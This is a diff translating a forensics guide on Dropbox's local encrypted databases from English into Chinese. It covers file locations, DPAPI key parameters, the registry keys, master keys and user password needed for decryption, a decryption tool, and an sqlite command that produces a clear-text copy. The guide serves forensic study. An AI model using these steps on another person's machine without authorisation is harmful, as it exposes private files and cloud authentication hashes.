- `\Users\\AppData\Roaming\Dropbox`
-And the main databases are:
+主要数据库包括:
- Sigstore.dbx
- Filecache.dbx
- Deleted.dbx
- Config.dbx
-The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]())
+“.dbx”扩展名意味着**数据库**是**加密的**。Dropbox使用**DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]())
-To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
+要更好地理解Dropbox使用的加密,您可以阅读 [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html)。
-However, the main information is:
+然而,主要信息是:
-- **Entropy**: d114a55212655f74bd772e37e64aee9b
-- **Salt**: 0D638C092E8B82FC452883F95F355B8E
-- **Algorithm**: PBKDF2
-- **Iterations**: 1066
+- **熵**: d114a55212655f74bd772e37e64aee9b
+- **盐**: 0D638C092E8B82FC452883F95F355B8E
+- **算法**: PBKDF2
+- **迭代次数**: 1066
-Apart from that information, to decrypt the databases you still need:
+除此之外,要解密数据库,您仍然需要:
-- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary)
-- The **`SYSTEM`** and **`SECURITY`** hives
-- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect`
-- The **username** and **password** of the Windows user
+- **加密的DPAPI密钥**: 您可以在注册表中找到它,路径为 `NTUSER.DAT\Software\Dropbox\ks\client`(将此数据导出为二进制)
+- **`SYSTEM`** 和 **`SECURITY`** 注册表项
+- **DPAPI主密钥**: 可以在 `\Users\\AppData\Roaming\Microsoft\Protect` 找到
+- Windows用户的**用户名**和**密码**
-Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
+然后您可以使用工具 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
.png>)
-If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt.
-
-The resulting hex is the final key used to encrypt the databases which can be decrypted with:
+如果一切顺利,该工具将指示您需要**用来恢复原始密钥的主密钥**。要恢复原始密钥,只需使用此 [cyber_chef receipt](),将主密钥作为“密码短语”放入配方中。
+生成的十六进制是用于加密数据库的最终密钥,可以用来解密:
```bash
sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
+**`config.dbx`** 数据库包含:
-The **`config.dbx`** database contains:
+- **Email**: 用户的电子邮件
+- **usernamedisplayname**: 用户的名称
+- **dropbox_path**: Dropbox 文件夹所在的路径
+- **Host_id: Hash** 用于认证到云端。只能从网页上撤销。
+- **Root_ns**: 用户标识符
-- **Email**: The email of the user
-- **usernamedisplayname**: The name of the user
-- **dropbox_path**: Path where the dropbox folder is located
-- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web.
-- **Root_ns**: User identifier
+**`filecache.db`** 数据库包含与 Dropbox 同步的所有文件和文件夹的信息。表 `File_journal` 是包含更多有用信息的表:
-The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information:
+- **Server_path**: 文件在服务器内部的路径(该路径前面有客户端的 `host_id`)。
+- **local_sjid**: 文件的版本
+- **local_mtime**: 修改日期
+- **local_ctime**: 创建日期
-- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client).
-- **local_sjid**: Version of the file
-- **local_mtime**: Modification date
-- **local_ctime**: Creation date
+该数据库中的其他表包含更有趣的信息:
-Other tables inside this database contain more interesting information:
-
-- **block_cache**: hash of all the files and folders of Dropbox
-- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal`
-- **mount_table**: Share folders of dropbox
-- **deleted_fields**: Dropbox deleted files
+- **block_cache**: Dropbox 所有文件和文件夹的哈希
+- **block_ref**: 将表 `block_cache` 的哈希 ID 与表 `file_journal` 中的文件 ID 关联
+- **mount_table**: Dropbox 的共享文件夹
+- **deleted_fields**: Dropbox 删除的文件
- **date_added**
-